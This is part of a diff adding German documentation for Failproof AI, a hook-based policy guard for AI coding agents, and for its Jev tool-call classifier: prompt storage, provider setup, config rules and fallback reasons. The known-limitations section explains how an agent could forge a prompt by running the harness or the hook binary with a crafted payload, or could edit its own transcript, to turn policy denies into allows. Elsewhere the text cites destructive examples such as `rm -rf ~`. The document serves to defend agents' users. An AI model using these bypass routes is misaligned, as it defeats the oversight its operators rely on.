+Sie wird vom Ende des Transkripts gelesen, maximal die letzten 4 MB. Unterstützte Transkriptformate sind Claude Code, Codex-Rollouts (ältere `agent_message`-Events und neuere `AgentMessage`-Items), Cursor, Copilot `events.jsonl` sowie das Pi-, Factory- und OpenClaw-Session-JSONL. Die eigenen synthetischen und API-Fehlermeldungen von Claude Code sowie Subagenten-(Sidechain-)Nachrichten werden übersprungen. Es gibt keinen Snapshot für Goose und OpenCode, die Sessions in SQLite speichern, für Devin, dessen Transkript ein einzelnes JSON-Dokument ist, oder für OpenClaw, dessen `before_agent_run`-Event keinen Transkript-Pfad enthält.
+
+## Speicherung
+
+| Eigenschaft | Wert |
+| --- | --- |
+| Speicherort | `~/.failproofai/state/semantic/sessions/.json` |
+| Berechtigungen | Datei `0600`, Verzeichnis `0700`. Jedes übergeordnete Verzeichnis bis zu `~/.failproofai` wird derselben Regel unterworfen wie das Verzeichnis von `jev.json`: Ein Verzeichnis, in das jemand anderes **schreiben** kann, kann umbenannt und ersetzt werden. Daher entfernt der Lesepfad diese Schreibbits, wo möglich, und liest **nichts**, wo es nicht möglich ist. Ein aufgezeichneter Prompt ist dann abwesend statt gefälscht, und nichts wird freigegeben |
+| Gespeichert pro Session | die letzten 5 Prompts; ein Prompt, der mit dem vorherigen identisch ist, ersetzt ihn, anstatt einen neuen Slot zu belegen |
+| Fenster | Prompts, die älter als 6 Stunden sind, werden ignoriert |
+| Größe | Jeder Prompt und jede Agentennachricht ist auf 6.000 Zeichen begrenzt, wobei Anfang und Ende aufbewahrt werden |
+| Secrets | Vor dem Schreiben mit denselben Mustern wie die `sanitize-*`-Richtlinien redigiert. Ein Text mit mehr als 48.000 Zeichen wird als seine ersten 28.800 und letzten 19.200 Zeichen redigiert, und der Text neben diesen Schnitten, wo ein Secret hätte gespalten werden können, wird nie gespeichert |
+
+Eine Session-ID, die etwas anderes als Buchstaben, Ziffern, `.`, `_` und `-` enthält oder länger als 128 Zeichen ist, wird nie als Dateiname verwendet, sodass für sie nichts aufgezeichnet wird.
+
+Eine Session-Datei existiert nur, sobald ein Prompt darin aufgezeichnet wurde. Sie enthält nur Prompts und sonst nichts — keinen Origin-State, keine Transkript-Markierung — und wird gelöscht, sobald sie länger als das Sechs-Stunden-Fenster still war, beim nächsten Mal, wenn eine neue Session ihren ersten Prompt schreibt.
+
+Nichts wird aufgezeichnet, wenn kein Jev-Endpunkt konfiguriert ist.
+
+### Das Projektstammverzeichnis
+
+„Innerhalb des Projekts" — das, was `read-outside-workspace` und die anderen Pfadprüfungen beurteilen — bedeutet innerhalb des Projekts, in dem sich die Session beim **ersten geprüften Aufruf** befand. Das Stammverzeichnis wird zu diesem Zeitpunkt festgelegt, und ein späteres `cd` verschiebt es nie; ein `cd` ändert jedoch weiterhin, wie ein relativer Pfad aufgelöst wird. Würde es dem `cd` folgen, würde `cd ~/.ssh` in einem Aufruf `~/.ssh` zum Projekt für den nächsten machen.
+
+Die Festlegung erfolgt in `~/.failproofai/state/semantic/roots/.json`, das `{root, at}` enthält: Datei `0600`, Verzeichnis `0700`, und dieselbe Session-ID-Regel wie oben. Dateien, die älter als 7 Tage sind, werden gelöscht, wenn eine neue Session ihr Stammverzeichnis festlegt. Ein `roots`-Verzeichnis, in das andere Benutzer schreiben können, wird ignoriert, und stattdessen wird das Stammverzeichnis des aktiven Verzeichnisses verwendet. Um eine Session neu festzulegen, löschen Sie ihre Datei.
+
+## Bekannte Einschränkungen
+
+- **Ein Prompt ist nur so vertrauenswürdig wie der Hook-Aufruf.** Alles hier liest die Nutzlast, die das Harness auf das stdin des Hooks geschrieben hat. Ein Agent, der Befehle ausführen kann, kann das Harness headless ausführen (`claude -p` und die sieben anderen oben genannten) oder das Hook-Binary von Failproof AI selbst mit einer selbst erstellten Nutzlast ausführen und einen Prompt aufzeichnen, den niemand getippt hat. Das ist der akzeptierte Kompromiss, der am Anfang dieser Seite beschrieben wird: Er gibt nur reviewable Richtlinien frei, nie eine hard — aber zwölf der fünfzehn reviewable eingebauten Features sind Denies, sodass ein gefälschter Prompt einen echten Block für diese zwölf in ein Allow umwandeln kann.
+- **Sub-Agenten-Erkennung ist Claude-förmig.** Eine Nutzlast mit `agent_id` wird bei keinem Harness aufgezeichnet. Das ist das Feld, das Claude Code, Factory Droid und Devin verwenden würden. Codex feuert sein Prompt-Event innerhalb von Sub-Agenten-Threads, Copilot führt In-Process-Sidekicks aus, Goose hat ein `delegate`-Tool und OpenClaw führt Personas aus — keines davon markiert die Nutzlast auf eine Weise, die dies erkennt. Daher wird ein Sub-Agenten-Prompt auf diesen Harnesses als der eigene der Session aufgezeichnet. OpenClaws `openclaw.agentId` ist **nicht** diese Markierung: Das ausgelieferte Plugin setzt es bei jedem Run, einschließlich dem des Eigentümers.
+- **Scheduler ohne Marker.** Claude Codes `schedule_wakeup` und `loop_wakeup` sowie OpenClaws `cron`- und `heartbeat`-Trigger werden abgelehnt, weil diese Harnesses dies in der Nutzlast angeben. Der eigene Scheduler von Goose (`goose schedule add`) und Codex's `codex exec` geben nichts an, sodass ein von ihnen gestarteter Run wie jeder andere aufgezeichnet wird.
+- **Die letzte Nachricht eines Agenten kann eine vom Agenten gewählte Nachricht sein.** Das Transkript ist nicht authentifiziert, sodass ein Agent, der sein eigenes Transkript schreibt, entscheiden kann, was seine „letzte Nachricht" sagt. Sie wird als vom Agenten verfasst gekennzeichnet und gibt für sich allein nie etwas frei — beachten Sie jedoch, dass der v1-Pfad von `decide.ts` es ihr ermöglicht, die deterministische Prüfung „Hat der Benutzer dieses Ziel genannt?" zu erfüllen, sodass ein Agent, der sein Transkript kontrolliert, einen Zielnamen liefern kann, den ein Override benötigt.
+- **Ein Prompt, der mit einer der maschinellen Extension-Überschriften beginnt, wird vollständig verworfen.** Beginnen Sie einen Prompt mit `# Selected text:`, `# Diff comments:`, `# Chrome tabs:` oder einer anderen Abschnittsüberschrift aus der ersten Gruppe oben, und schreiben Sie keine `## My request:`-Überschrift, und für diesen Turn wird nichts aufgezeichnet — sodass auch nichts für ihn freigegeben wird. Das ist beabsichtigt: Diese Abschnitte enthalten Text, den jemand anderes kontrolliert (Code, den Sie ausgewählt haben, der Diff-Kommentar eines Reviewers, ein Seitentitel), und das als Ihre Worte aufzuzeichnen wäre der schlimmere Fehler. Überschriften, die ein Entwickler plausiblerweise tippt, befinden sich in der zweiten Gruppe und verwerfen einen Prompt nie für sich allein.
+- **OpenCode zeichnet in der Praxis nichts auf.** Sein `message.updated`-Event enthält in aktuellem OpenCode keinen Text, und es feuert auch für die Child-Sessions, die sein Task-Tool erstellt, deren „user"-Nachricht der übergeordnete Agent geschrieben hat.
+- **`CODEX_HOME` wird nicht beachtet** von der Rollout-Erkennung in `lib/codex-sessions.ts`. Dies betrifft nur den Ort, an dem nach einem Agentennachrichten-Snapshot gesucht wird, nie ob ein Prompt aufgezeichnet wird.
\ No newline at end of file
diff --git a/docs/de/reference/jev-providers.mdx b/docs/de/reference/jev-providers.mdx
new file mode 100644
index 000000000..2cbabd68a
--- /dev/null
+++ b/docs/de/reference/jev-providers.mdx
@@ -0,0 +1,275 @@
+---
+title: "Jev-Anbieter und eigene Schlüsselkonfiguration"
+description: "Anbieter-Endpunkte, Modell-IDs, Konfiguration und Fehlerverhalten für die Live-Jev-Richtlinienprüfung mit eigenem Schlüssel."
+icon: "key-round"
+---
+
+Dies ist die Anbieter- und Konfigurationsreferenz für [Jev-Richtlinien](/de/policies/jev) mit eigenem Schlüssel. Regex-Richtlinien gleichen Zeichenketten ab. Sie können nicht unterscheiden, ob `rm -rf build/` von Ihnen angefordert wurde oder ob `rm -rf ~` unbemerkt in einen Plan gelangt ist – sie blockieren also an einer Stelle zu viel und an einer anderen zu wenig. **Jev**, der Klassifikator von TypeSafe, liest den Aufruf im Kontext dessen, was Sie tatsächlich angefordert haben, und beantwortet in einer schnellen Anfrage eine Reihe von Ja/Nein-Fragen dazu.
+
+Mit einem konfigurierten eigenen Jev-Endpunkt und Schlüssel fragt Failproof AI Jev zu jedem Tool-Aufruf **zusätzlich** zu den Regex-Richtlinien – niemals statt ihnen:
+
+- Das deny einer **harten** Richtlinie ist endgültig. Jev kann es nicht aufheben. Jede Richtlinie ist hart, sofern sie nicht ausdrücklich als prüfbar markiert ist und die Jev-Prüfungen benennt, die sie abdecken. Eine benutzerdefinierte, pack- oder Cloud-Richtlinie, die nichts davon angibt, ist also hart; der stets aktive Selbstschutz-Guard ist immer hart.
+- Das deny einer **prüfbaren** Richtlinie kann aufgehoben werden, jedoch nur, wenn Jev zur genauen Problematik dieser Richtlinie befragt wurde und „nichts hier" oder „der Nutzer hat dies angefordert" geantwortet hat. Eine Prüfung, die das Problem als real einstuft und bei der der Nutzer den Aufruf nicht angefordert hat, behält das deny – selbst wenn ihr eigenes Urteil nur eine Warnung ist, denn vor einem Tool-Aufruf stoppt eine Warnung den Agenten nicht. Und wenn diese Prüfung zu denen gehört, die verweigern können (geheime Schlüssel preisgeben, Zugangsdaten exfiltrieren, destruktives Löschen …), wird bei diesem Aufruf nichts aufgehoben.
+- Eine Blockierung kann dennoch zu einer **Warnung** werden, wenn der Aufruf ein Schritt der von Ihnen gestellten Aufgabe ist und nicht darüber hinausgeht: Jev mildert sein eigenes deny zu einer Warnung ab, und diese Warnung – die konkret benennt, was am Aufruf falsch ist – ersetzt die Blockierung der Richtlinie.
+- Jev kann auch eigenständig warnen oder verweigern, bei Schäden, die kein Regex beschreibt.
+- Kann Jev nicht antworten (Timeout, Rate-Limit, Serverfehler, keine Credits, unerwartete Modellversion), erhält dieser Aufruf das Regex-Ergebnis – genau wie ohne Jev.
+- Jev macht einen Aufruf niemals freizügiger als Ihre Richtlinien allein, es sei denn, es hat den gesamten Aufruf gelesen und wurde zur genauen Problematik befragt. Alles darunter – ein zu großer Aufruf, um ihn vollständig zu senden, ein vermuteter Injection-Angriff – widerruft die Freigaben und behält jedes deny.
+
+
+Ohne Jev-Konfiguration ändert sich nichts: Hooks führen die Regex-Richtlinien genau wie bisher aus. Die Konfiguration ist die einzige Möglichkeit, Jev zu aktivieren.
+
+
+
+Nutzen Sie FailproofAI Cloud? Sie benötigen keinen eigenen Schlüssel: Eine mit einem Schlüssel verbundene Maschine, der `jev:evaluate` enthält, kann Jev im Rahmen des Plans Ihrer Organisation verwenden. Siehe [Jev über FailproofAI Cloud](/de/reference/jev-cloud).
+
+
+## Voraussetzungen
+
+Installieren Sie **failproofai 1.0.8-beta.0 oder höher** und hängen Sie die Hooks an einen [unterstützten Harness](/de/reference/harnesses) auf der Maschine, auf der Ihr Agent läuft. Folgen Sie dem [Schnellstart](/de/start/quickstart) für eine neue Maschine oder der Anleitung zum [lokalen Enforcement](/de/start/setup#enforce-locally), wenn Sie Cloud nicht verwenden. Prüfen Sie die installierte CLI mit `failproofai --version`.
+
+Holen Sie sich einen API-Schlüssel von einem der unten genannten Anbieter, oder halten Sie einen kompatiblen Endpunkt und dessen Schlüssel bereit. Jev prüft benannte Tool-Aufrufe am `PreToolUse`- oder `PermissionRequest`-Gate. Es kann ein eigenes Urteil abgeben, aber das Aufheben eines bestehenden Policy-deny erfordert außerdem eine installierte, als [prüfbar](/de/policies/authority) markierte Richtlinie. Harte Policy-denys bleiben endgültig.
+
+## Anbieter wählen
+
+Jev ist über fünf Wege erreichbar. Bringen Sie für einen davon einen Schlüssel mit.
+
+| Anbieter | `--provider` | Endpunkt | Standardmodell | Hinweise |
+| --- | --- | --- | --- | --- |
+| TypeSafe | `typesafe` | `api.typesafe.ai/v1/systemone` | `jev-1.13.0` | Exakte Versionsfixierung. |
+| OpenRouter | `openrouter` | `openrouter.ai/api/v1/systemone` | `typesafe/jev-1.13` | Anfragen werden ausschließlich an Endpunkte ohne Datenspeicherung weitergeleitet, ohne Fallback auf einen anderen Anbieter. Meldet eine datierte Version wie `typesafe/jev-1.13-20260917`. |
+| Vercel AI Gateway | `vercel` | `ai-gateway.vercel.sh/typesafe/v1/systemone` | `typesafe-ai/jev` | Benennt Jev nur über einen Alias, sodass die antwortende Version als unverifiziert aufgezeichnet wird. |
+| Cloudflare Workers AI | `cloudflare` | `api.cloudflare.com/client/v4/accounts//ai/run` | `typesafe/jev` | Benötigt `--account-id`. Gemessen wurden ca. sechs Aufrufe pro Sekunde und Schlüssel, bevor HTTP 429 kam. |
+| Eigener Endpunkt | `custom` | `/systemone` | `jev-1.13.0` | Jeder Endpunkt, der den Request-Body von TypeSafe akzeptiert und das antwortende Modell angibt. Nur `https`; einfaches `http://localhost` wird nur im Beobachtungsmodus akzeptiert. |
+
+
+Bei Vercels eigenem Bring-your-own-key-Feature wird eine fehlgeschlagene Anfrage stillschweigend mit Vercels Zugangsdaten wiederholt. Wenn jeder Aufruf ausschließlich Ihrem eigenen TypeSafe-Konto zugeordnet und von diesem eingesehen werden soll, verwenden Sie TypeSafe direkt.
+
+
+## Einrichten
+
+Ein Befehl, der Endpunkt und der Schlüssel. Starten Sie im `observe`-Modus, um die Urteile von Jev zu inspizieren, während die bestehenden Richtlinien weiterhin über Aufrufe entscheiden:
+
+```bash
+failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key
+```
+
+### Die URL bestimmt den Anbieter
+
+Sie müssen den Anbieter nicht explizit benennen: Der **Host** der URL legt ihn fest.
+
+| URL-Host | Anbieter | Benötigt außerdem |
+| --- | --- | --- |
+| `api.typesafe.ai` | `typesafe` | — |
+| `openrouter.ai` | `openrouter` | — |
+| `ai-gateway.vercel.sh` | `vercel` | — |
+| `api.cloudflare.com` | `cloudflare` | `--account-id <32-hex-account-id>` |
+| beliebiger anderer Host | `custom` | — die angegebene URL ist die Basis-URL |
+
+Daraus ergeben sich drei Konsequenzen:
+
+- **Eine URL, die der eigenen API des Anbieters entspricht, schreibt keine Überschreibung.** `--url https://api.typesafe.ai/v1` erzeugt exakt die gleiche Konfiguration wie `--provider typesafe`. Geben Sie einen anderen Pfad oder Host bei einem bekannten Anbieter an, wird er als Basis-URL gespeichert – wie es `--base-url` tun würde.
+- **`--provider` überschreibt die Inferenz weiterhin**, womit Sie einen Proxy erreichen, der die API eines Anbieters unter einem eigenen Host bereitstellt: `--url https://jev-proxy.internal/v1 --provider typesafe`.
+- **Ein `--provider`, der dem Host widerspricht, wird abgelehnt** – ohne Rateversuche. `--provider openrouter --url https://api.typesafe.ai/v1` schreibt nichts und erklärt warum: Die beiden Angaben stimmen darin nicht überein, wohin Ihr Schlüssel gesendet wird. Dasselbe gilt für `jev setup --base-url` und für die Jev-Einstellungen im Dashboard. (`--provider custom` ist kein Widerspruch – es bedeutet „diese URL als sie selbst behandeln" –, außer auf Cloudflares eigenem Host, dessen kontospezifischen Endpunkt eine Custom-Route nicht erreichen kann.)
+
+`--url` wird exakt wie das `baseUrl` in der Konfigurationsdatei validiert und mit denselben Fehlermeldungen abgelehnt: `https`, oder einfaches `http://localhost` nur im Beobachtungsmodus.
+
+### Der Schlüssel
+
+Leiten Sie ihn mit `--key-stdin` ein, oder führen Sie den Befehl in einem Terminal ohne diesen Parameter aus und fügen Sie den Schlüssel an der maskierten Eingabeaufforderung ein. In beiden Fällen wird er direkt in die Konfigurationsdatei geschrieben und nie zurückgegeben.
+
+
+
+ ```bash
+ failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://openrouter.ai/api/v1 --mode observe --key-stdin < ~/openrouter.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://ai-gateway.vercel.sh/typesafe/v1 --mode observe \
+ --key-stdin < ~/vercel-gateway.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://api.cloudflare.com/client/v4 \
+ --account-id <32-hex-account-id> --mode observe --key-stdin < ~/cloudflare.token
+ ```
+
+
+ ```bash
+ failproofai jev --url https://jev.internal.example.com/v1 --mode observe --key-stdin < ~/jev.key
+ ```
+
+
+
+`failproofai jev setup` akzeptiert dieselben Flags und ist die ausführliche Form: `setup --provider `, wenn Sie den Anbieter lieber direkt benennen statt die URL anzugeben.
+
+### `--token` und was es kostet
+
+`--token ` übergibt den Schlüssel als Kommandozeilenargument – das ist die schnellste Methode, eine Maschine zu konfigurieren, und die einzige, bei der der Schlüssel außerhalb der Konfigurationsdatei erscheint:
+
+```bash
+failproofai jev --url https://openrouter.ai/api/v1 --token
+```
+
+
+Ein Kommandozeilenargument landet danach in der History-Datei Ihrer Shell, und solange der Befehl läuft, ist es in der Prozessliste sichtbar – aus `/proc` lesbar für alles, was unter Ihrer Kennung läuft. `setup` weist darauf hin, jedes Mal wenn `--token` verwendet wird. Bevorzugen Sie `--key-stdin` auf einer gemeinsam genutzten Maschine, in einer aufgezeichneten Sitzung oder überall, wo die History-Datei synchronisiert wird; rotieren Sie einen so übergebenen Schlüssel, wenn das eine Rolle spielt.
+
+
+`--token`, `--key-stdin` und `--key-from-env` schließen sich gegenseitig aus: Geben Sie genau eine Option an.
+
+Senden Sie danach eine kleine Live-Anfrage, um den Schlüssel, den Endpunkt und das antwortende Jev zu prüfen:
+
+```bash
+failproofai jev test
+```
+
+```text
+ failproofai jev test ok · 523 ms
+
+ provider cloudflare
+ model asked typesafe/jev
+ answered by jev-1.13.0 (Jev 1.13 family — verified)
+ latency 523 ms — within the 3000 ms timeout
+```
+
+`jev test` beendet sich mit Code 1 und zeigt das im Titel an, wenn die Antwort nach dem Timeout eintrifft (jeder Hook würde als `timeout` auf Regex zurückfallen) oder die Prüffrage falsch beantwortet.
+
+Hooks lesen die Konfiguration bei jedem Tool-Aufruf neu, sie gilt also ab dem nächsten Aufruf. Ein Neustart ist nicht erforderlich – weder mit noch ohne den Daemon.
+
+## Aktivität prüfen
+
+```bash
+failproofai jev status
+failproofai jev status --json
+```
+
+`status` zeigt Anbieter, Endpunkt, Modell, Modus, Konfigurationsdatei und deren Berechtigungen – niemals den Schlüssel. Darunter fasst es die jüngste Aktivität zusammen: wie viele Aufrufe Jev ausgewertet hat, wie oft und warum auf Regex zurückgefallen wurde, die Latenz und welche prüfbaren Richtlinien freigegeben wurden.
+
+## Einen echten Aufruf verifizieren
+
+Starten Sie eine neue Sitzung im gehookten Agenten. Bitten Sie ihn, das Dateilesewerkzeug für `README.md` zu verwenden und den Titel zurückzugeben. Vergewissern Sie sich, dass die Sitzung diesen Tool-Aufruf enthält, und führen Sie anschließend erneut `failproofai jev status` aus: Der Zähler der ausgewerteten Aufrufe sollte gestiegen sein. Öffnen Sie **Policies → Activity** im [lokalen Dashboard](/de/reference/local-dashboard#review-policy-activity), um das Jev-Urteil und den Modus des Aufrufs zu inspizieren. Im Beobachtungsmodus entscheidet weiterhin das Richtlinienergebnis über den Aufruf. Eine Freigabe erscheint nur, wenn eine prüfbare Richtlinie angeschlagen hat und Jev jede benannte Prüfung freigegeben hat; ein gewöhnlicher Lesevorgang hat möglicherweise keine Richtlinie zum Freigeben.
+
+## Beobachtungsmodus
+
+`enforce` ist die Voreinstellung. Um Jev zu beobachten, ohne dass es Entscheidungen beeinflusst, wechseln Sie zu `observe`: Jev wird weiterhin befragt und seine Urteile werden aufgezeichnet, aber das Regex-Ergebnis wird durchgesetzt.
+
+```bash
+failproofai jev setup --mode observe
+failproofai jev setup --mode enforce
+failproofai jev setup --mode off
+```
+
+`off` behält die Konfiguration – Endpunkt und Schlüssel – und beendet die Jev-Anfragen: Hooks führen die Regex-Richtlinien genau wie ohne Konfiguration aus, und `failproofai jev status` zeigt „off (switched off)" an. Mit `--mode observe` oder `--mode enforce` kehren Sie zurück.
+
+Erneutes Ausführen von `setup` für denselben Anbieter behält den gespeicherten Schlüssel, ein Moduswechsel erfordert also nur ein Flag. Ein Anbieterwechsel beginnt von vorn und fragt nach dem Schlüssel des neuen Anbieters. Gleiches gilt für eine `--base-url`, die Anfragen an einen anderen Host verschiebt: Ein gespeicherter Schlüssel wird nur an den Host gesendet, für den er eingegeben wurde, oder an die eigene API des Anbieters.
+
+## Die Konfigurationsdatei
+
+Alles befindet sich in einer Datei, `~/.failproofai/jev.json`, die von `setup` geschrieben wird:
+
+```json
+{
+ "provider": "cloudflare",
+ "apiKey": "",
+ "accountId": "<32-hex-account-id>",
+ "mode": "enforce",
+ "timeoutMs": 3000
+}
+```
+
+| Feld | Bedeutung |
+| --- | --- |
+| `provider` | `typesafe`, `openrouter`, `vercel`, `cloudflare` oder `custom` – oder `failproofai`, dessen Schlüssel aus der FailproofAI-Cloud-Verbindung statt aus dieser Datei stammt (siehe [Jev über FailproofAI Cloud](/de/reference/jev-cloud)). |
+| `apiKey` | Wird als `Authorization: Bearer ` gesendet. |
+| `baseUrl` | Für `custom` erforderlich; ersetzt andernfalls die API-Basis des Anbieters. Muss `https` sein. Einfaches `http` zu `localhost` wird nur bei `mode: observe` akzeptiert: Ein lokaler Port ist nicht authentifiziert, und solange Ihr Proxy nicht läuft, könnte jeder Prozess auf der Maschine – einschließlich des zu beurteilenden Agenten – an seiner Stelle antworten. |
+| `accountId` | Nur Cloudflare: 32 kleingeschriebene Hexadezimalzeichen. |
+| `model` | Ersetzt die Standard-Modell-ID des Anbieters. Eine versionierte ID muss Jev 1.13 benennen. Ein Wert, der wie ein API-Schlüssel aussieht, wird abgelehnt (und nicht zurückgegeben), sodass ein in `--model` eingefügter Schlüssel nie gespeichert oder als Modell gesendet wird. |
+| `timeoutMs` | Wie lange ein Tool-Aufruf auf Jev wartet, bevor das Regex-Ergebnis verwendet wird. 100–10000, Standard 3000. |
+| `mode` | `enforce` (Standard), `observe` oder `off` (Konfiguration behalten, kein Jev ausführen). |
+
+Drei Regeln schützen sie:
+
+- **Nur für den Eigentümer.** Sie wird mit den Berechtigungen `0600` geschrieben. Eine Kopie, die ein anderer Benutzer oder eine Gruppe lesen oder schreiben kann, wird **abgelehnt**, und Hooks fallen auf Regex zurück, bis Sie `chmod 600 ~/.failproofai/jev.json` ausführen oder `setup` erneut starten. Auch das Verzeichnis wird geprüft: `~/.failproofai` darf von niemandem sonst **beschreibbar** sein, denn wer dort schreiben kann, kann die Datei unabhängig von deren eigenen Berechtigungen ersetzen. `setup` entfernt diese Schreibbits, wenn es sie findet. `failproofai jev status` zeigt an, wenn eine Konfiguration abgelehnt wurde, und gibt den Endpunkt aus, den die Datei benennt: Jemand anderes könnte sie geändert haben – prüfen Sie also, ob sie Ihnen gehört, bevor Sie `chmod` ausführen. Erneutes Ausführen von `setup` auf einer solchen Datei überträgt den gespeicherten Schlüssel nur an die eigene API des Anbieters; für jeden anderen darin genannten Endpunkt ist der Schlüssel erneut erforderlich (`--key-stdin`), oder `--base-url default`, um Anfragen zurück an den Anbieter zu senden.
+- **Nur global.** Ein Repository kann Jev nicht aktivieren, auf einen anderen Endpunkt zeigen oder das Modell wählen: Eine `.failproofai/jev.json` innerhalb eines Projekts wird ignoriert, und Anbieter, URL, Modell und Konto-ID werden ausschließlich aus dieser Datei gelesen – nie aus der Umgebung, die die Agenten-Einstellungen eines Repositorys setzen können. (`FAILPROOFAI_HOME` ist kein Umweg: Es verschiebt das gesamte failproofai-Verzeichnis einschließlich Ihrer Richtlinien, leitet Jev nicht eigenständig um.)
+- **Nur der Schlüssel darf aus der Umgebung kommen.** Hat die Datei kein `apiKey`, liefert `FAILPROOFAI_JEV_API_KEY` ihn für diese Sitzung (`setup --key-from-env` schreibt eine solche Datei). Er ersetzt nie einen in der Datei gespeicherten Schlüssel und kann Jev ohne die Datei nicht aktivieren. Ist die Variable nicht gesetzt, ist Jev für diese Shell einfach deaktiviert: `failproofai jev status` zeigt das an, beendet sich mit 0 und lässt die Konfiguration unverändert (`status --json` meldet `"status": "key-missing"` mit `"reason": "no-env-key"`). Der `failproofaid`-Daemon sieht die Umgebung Ihrer Shell nicht; halten Sie den Schlüssel auf einer mit `failproofai config` eingerichteten Maschine daher in der Datei.
+
+## Welches Jev antwortet
+
+Die Entscheidungsschwellen von Failproof AI wurden für Jev 1.13 kalibriert, daher wird eine Antwort nur verwendet, wenn sie von dieser Familie stammt: `jev-1.13.x` oder OpenRouters `typesafe/jev-1.13-`. Wenn ein Anbieter Jev nur über einen Alias benennt und keine Version meldet (Vercel sowie Cloudflare, wenn es keine Version angibt), wird die Antwort verwendet und als unverifiziert aufgezeichnet. Ein `custom`-Endpunkt muss das antwortende Modell melden; die einzige Ausnahme ist ein unverstionsierter `--model`-Name, den Sie dafür konfiguriert haben und der, zurückgegeben, ebenfalls als unverifiziert aufgezeichnet wird. Eine Antwort, die eine andere Version meldet, oder eine `custom`-Antwort ohne Versionsangabe wird nicht verwendet: Dieser Aufruf fällt mit dem Grund `model-mismatch` auf Regex zurück.
+
+## Wenn Jev nicht antworten kann
+
+Jedes der folgenden Szenarien fällt für diesen Aufruf auf das Regex-Ergebnis zurück und wird mit seinem Grund aufgezeichnet, den `failproofai jev status` zusammenfasst:
+
+| Grund | Ursache |
+| --- | --- |
+| `timeout` | Keine Antwort innerhalb von `timeoutMs`. |
+| `http-429` | Der Anbieter hat den Schlüssel rate-limitiert. |
+| `rate-limited` | Der eigene Begrenzer von Failproof AI hat den Aufruf zurückgehalten, bevor er gesendet wurde: 5 Anfragen pro Sekunde, in Bursts von bis zu 5, und kurze Pause nach einer `429`-Antwort des Anbieters. Nicht der Anbieter. |
+| `http-500`, `http-502`, `http-503`, … | Ein Serverfehler beim Anbieter. Der genaue Status wird aufgezeichnet. |
+| `out-of-credits` | HTTP 402: Das Anbieterkonto hat keine Credits mehr. |
+| `provider-refused` | HTTP 402 von Cloudflare mit der Meldung „Model execution failed (Payment error)": Der Anbieter hat die Ausführung des Modells für diese Anfrage abgelehnt. In der Regel kein Abrechnungsproblem, daher hilft Aufladen nicht weiter. |
+| `http-401`, `http-403` | Der Schlüssel wurde abgelehnt. |
+| `http-404` | Unter `/systemone` wird nichts bereitgestellt, die Basis-URL ist also falsch – `/systemone` wird daran angehängt, und jeder Anbieter stellt es an seinem Versions-Root bereit. `failproofai jev models` zeigt, was der Endpunkt tatsächlich bereitstellt. |
+| `network` | Der Endpunkt war nicht erreichbar. |
+| `http-301`, `http-302`, `http-307`, `http-308` | Der Endpunkt antwortete mit einer Weiterleitung. Weiterleitungen werden nie gefolgt, die Antwort kommt also immer nur von der URL in Ihrer Konfiguration; setzen Sie `--base-url` auf die endgültige URL. |
+| `malformed` | Der Endpunkt hat geantwortet, aber nicht mit einer Jev-Antwort – kein gültiges JSON oder keine Antworten darin. |
+| `cloudflare-error`, `cloudflare-incomplete` | Cloudflares Envelope meldete einen Fehler oder einen noch nicht abgeschlossenen Job. |
+| `model-mismatch` | Eine andere Jev-Version als 1.13 hat geantwortet, oder ein `custom`-Endpunkt hat nicht angegeben, welches Modell geantwortet hat. |
+| `request-cut` | **Kein Ausfall.** Jev hat geantwortet; es wurde nur ein Teil des Aufrufs übermittelt, daher hat die Antwort nichts freigegeben. Siehe [Wenn Jev geantwortet hat, aber nicht zum gesamten Aufruf](#wenn-jev-geantwortet-hat-aber-nicht-zum-gesamten-aufruf). |
+
+`failproofai jev status` kann auch einige seltenere Gründe anzeigen, wie `upstream-error` (die Antwort enthielt den eigenen Fehler des Anbieters) oder `config`, und fasst alle nicht benannten Gründe als `other` zusammen.
+
+`request-cut` ist in dieser Tabelle, weil `failproofai jev status` ihn zusammen mit den anderen zusammenfasst und weil er ebenfalls jedes deny bestehen lässt. Es ist der einzige Grund hier, der nichts über Ihren Anbieter aussagt: Die Anfrage ist angekommen und Jev hat geantwortet. Anders als bei allen Zeilen darüber zählt diese Antwort dennoch – Jevs eigenes deny oder seine Warnung gilt zusätzlich zum Regex-Ergebnis, statt verworfen zu werden. Eine Häufung solcher Fälle bedeutet also, dass Aufrufe den Auswerter zu groß erreichen, um vollständig gesendet zu werden – nicht, dass Ihr Endpunkt gestört ist. Credits aufladen oder die URL ändern wird die Zahl nicht senken.
+
+## Wenn Jev geantwortet hat, aber nicht zum gesamten Aufruf
+
+Zwei weitere Szenarien können auftreten, und keines davon bedeutet, dass Jev nicht antwortet. Beide betreffen, wie viel des Aufrufs oder des Gesprächs in eine Anfrage gepasst hat.
+
+**Ein Teil des Aufrufs selbst hat nicht gepasst.** Ein Tool-Aufruf wird in einem festen Budget gesendet; ein überdimensionierter – ein sehr großes `Write`, ein riesiger MCP-Body, ein bis zur Grenze aufgefüllter Befehl – wird mit dem gesendeten Teil übermittelt. Jev antwortet trotzdem, und die Antwort zählt: sein eigenes deny oder seine Warnung gilt wie gewohnt. Was es nicht kann, ist **freigeben**, denn ein Urteil über einen Teil eines Aufrufs ist kein Urteil über den gesamten Aufruf. Jedes Policy-deny bleibt daher bestehen, und der Aufruf wird als Fallback mit dem Grund `request-cut` aufgezeichnet, den `failproofai jev status` neben den obigen Gründen summiert. Die Regel, die sich daraus ergibt: Einen Aufruf größer zu machen kann seine Freigaben kosten, aber keine kaufen.
+
+**Eine Nachricht hat nicht gepasst.** Eine lange eingefügte Eingabeaufforderung, die letzte Nachricht des Agenten oder eine Eingabeaufforderung, die der Speicher dieses Auswerters bereits gekappt hatte. **Es ändert sich nichts**: Der Aufruf wird genau wie jeder andere beurteilt, freigegeben und aufgezeichnet und nicht als Fallback gezählt. Die Länge Ihrer Eingabe entscheidet nie über ein Urteil, und ein Kappen kann keine Zustimmung erzeugen: Wo eine Eingabeaufforderung bereits gekappt ankam, ist „Sie haben das nicht angefordert" keine Schlussfolgerung, die noch gezogen werden kann – statt dass sie zu einer wird.
+
